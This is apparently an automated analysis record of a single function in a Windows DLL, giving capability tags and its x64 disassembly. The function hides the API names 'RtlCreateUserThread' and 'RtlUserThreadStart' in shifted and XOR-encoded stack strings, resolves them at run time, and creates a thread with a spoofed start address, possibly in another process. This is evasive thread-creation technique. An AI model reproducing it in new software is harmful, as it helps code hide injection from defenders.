Function at 0x180136fd4
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x100
mov qword [rbp + 7], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov rsi, rdx
mov rdi, rcx
call fcn.180130460
xor r15d, r15d
test al, al
je 0x1801373ea
lea ebx, [r15 + 0x74]
mov word [rbp - 0x45], bx
lea eax, [rbx + 6]
mov word [rbp - 0x43], ax
lea eax, [rbx - 0xa]
mov word [rbp - 0x41], ax
lea eax, [rbx - 2]
mov word [rbp - 0x3f], ax
mov word [rbp - 0x3d], ax
mov word [rbp - 0x3b], r15w
movzx eax, word [rbp - 0x45]
mov ecx, r15d
lea r12d, [r15 + 6]
movzx eax, word [rbp + rcx*2 - 0x45]
sub ax, r12w
mov word [rbp + rcx*2 - 0x45], ax
inc rcx
cmp rcx, 5
jb 0x180137041
lea rcx, [rbp - 0x45]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor edx, edx
lea r8d, [rdx + 0xc]
lea rcx, [rbp - 0x45]
call qword [sym.imp.VCRUNTIME140.dll_memset]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r14, rax
test rsi, rsi
cmovne r14, rsi
mov byte [rbp - 0x65], 0x53
mov byte [rbp - 0x64], 0x75
mov byte [rbp - 0x63], 0x6d
mov byte [rbp - 0x62], 0x56
mov byte [rbp - 0x61], bl
mov byte [rbp - 0x60], 0x66
mov byte [rbp - 0x5f], 0x73
mov byte [rbp - 0x5e], 0x55
mov byte [rbp - 0x5d], 0x69
mov byte [rbp - 0x5c], 0x73
mov byte [rbp - 0x5b], 0x66
mov byte [rbp - 0x5a], 0x62
mov byte [rbp - 0x59], 0x65
mov byte [rbp - 0x58], 0x54
mov byte [rbp - 0x57], 0x75
mov byte [rbp - 0x56], 0x62
mov byte [rbp - 0x55], 0x73
mov byte [rbp - 0x54], 0x75
mov byte [rbp - 0x53], r15b
mov al, byte [rbp - 0x65]
mov rcx, r15
mov al, byte [rbp + rcx - 0x65]
dec al
mov byte [rbp + rcx - 0x65], al
inc rcx
cmp rcx, 0x12
jb 0x1801370d3
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [rbp - 0x65]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
xor edx, edx
lea r8d, [rdx + 0x13]
lea rcx, [rbp - 0x65]
call qword [sym.imp.VCRUNTIME140.dll_memset]
test rbx, rbx
jne 0x18013711d
mov rbx, rdi
jmp 0x180137121
add rbx, 0x21
mov qword [rbp + 0x77], r15
mov ecx, dword [0x180195f94]
mov rax, qword gs:[0x58]
mov edx, 4
mov rax, qword [rax + rcx*8]
mov eax, dword [rdx + rax]
cmp dword [0x1801a1b00], eax
jle 0x180137324
lea rcx, [0x1801a1b00]
call fcn.180157af0
cmp dword [0x1801a1b00], 0xffffffff
jne 0x180137324
lea rax, [rbp - 0x19]
mov qword [rbp + 0x7f], rax
mov byte [rbp - 0x79], 0x56
mov byte [rbp - 0x78], 0x78
mov byte [rbp - 0x77], 0x70
mov byte [rbp - 0x76], 0x47
mov byte [rbp - 0x75], 0x76
mov byte [rbp - 0x74], 0x69
mov byte [rbp - 0x73], 0x65
mov byte [rbp - 0x72], 0x78
mov byte [rbp - 0x71], 0x69
mov byte [rbp - 0x70], 0x59
mov byte [rbp - 0x6f], 0x77
mov byte [rbp - 0x6e], 0x69
mov byte [rbp - 0x6d], 0x76
mov byte [rbp - 0x6c], 0x58
mov byte [rbp - 0x6b], 0x6c
mov byte [rbp - 0x6a], 0x76
mov byte [rbp - 0x69], 0x69
mov byte [rbp - 0x68], 0x65
mov byte [rbp - 0x67], 0x68
mov byte [rbp - 0x66], r15b
mov al, byte [rbp - 0x79]
mov rcx, r15
mov al, byte [rbp + rcx - 0x79]
sub al, 4
mov byte [rbp + rcx - 0x79], al
inc rcx
cmp rcx, 0x13
jb 0x1801371c3
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
lea rax, [rbp - 0x79]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r15b
jne 0x1801371ed
lea rdx, [rbp - 0x79]
lea rcx, [rbp - 0x19]
call fcn.18000c7ac
nop
mov dword [rbp - 0x51], 0x31
mov byte [rbp - 0x4d], 0x5f
mov byte [rbp - 0x4c], 0x45
mov byte [rbp - 0x4b], 0x55
mov byte [rbp - 0x4a], 0x5d
mov byte [rbp - 0x49], 0x5d
xor eax, eax
mov byte [rbp - 0x48], al
mov al, byte [rbp - 0x4d]
mov rdx, r15
mov al, byte [rbp + rdx - 0x4d]
mov ecx, dword [rbp - 0x51]
xor cl, al
mov byte [rbp + rdx - 0x4d], cl
inc rdx
cmp rdx, 5
jb 0x18013722a
mov byte [rbp - 0x48], r15b
xorps xmm0, xmm0
movups xmmword [rbp - 0x39], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x29], xmm1
lea rax, [rbp - 0x4d]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r15b
jne 0x18013725b
lea rdx, [rbp - 0x4d]
lea rcx, [rbp - 0x39]
call fcn.18000c7ac
nop
lea rdx, [rbp - 0x39]
lea rcx, [rbp + 0x17]
call fcn.1800ceb58
nop
mov qword [rsp + 0x20], r15
mov r9b, 1
lea r8, [rbp - 0x19]
mov rdx, rax
lea rcx, [0x1801a1760]
call fcn.1800f26a8
nop
mov rdx, qword [rbp - 0x21]
cmp rdx, 0x10
jb 0x1801372da
inc rdx
mov rcx, qword [rbp - 0x39]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1801372d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1801372d5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180157a14
movdqa xmm0, xmmword [0x180165930]
movdqu xmmword [rbp - 0x29], xmm0
mov byte [rbp - 0x39], r15b
mov r8, r12
xor edx, edx
lea rcx, [rbp - 0x4d]
call qword [sym.imp.VCRUNTIME140.dll_memset]
nop
xor edx, edx
lea r8d, [rdx + 0x14]
lea rcx, [rbp - 0x79]
call qword [sym.imp.VCRUNTIME140.dll_memset]
lea rcx, [0x180163eb8]
call fcn.1801579fc
nop
lea rcx, [0x1801a1b00]
call fcn.180157a84
lea r12, [0x1801a1770]
mov rcx, r12
cmp qword [0x1801a1788], 0x10
cmovae rcx, qword [0x1801a1770]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x180137374
mov rcx, r12
cmp qword [0x1801a1788], 0x10
cmovae rcx, qword [0x1801a1770]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1801a1768], rax
mov r8, rax
mov rdx, r12
call fcn.1800150f8
mov qword [rsp + 0x48], r15
lea rax, [rbp + 0x77]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
mov r8b, 1
xor edx, edx
mov rcx, r14
call qword [0x1801a1760]
test eax, eax
jne 0x1801373ea
cmp qword [rbp + 0x77], r15
je 0x1801373ea
cmp rbx, rdi
je 0x1801373cc
mov byte [rsp + 0x20], r15b
mov r9b, 1
lea r8, [rbp + 0x77]
xor edx, edx
mov rcx, rdi
call fcn.180132254
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp rsi, rax
jne 0x1801373ea
mov rcx, qword [rbp + 0x77]
cmp rcx, 0xffffffffffffffff
je 0x1801373ea
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret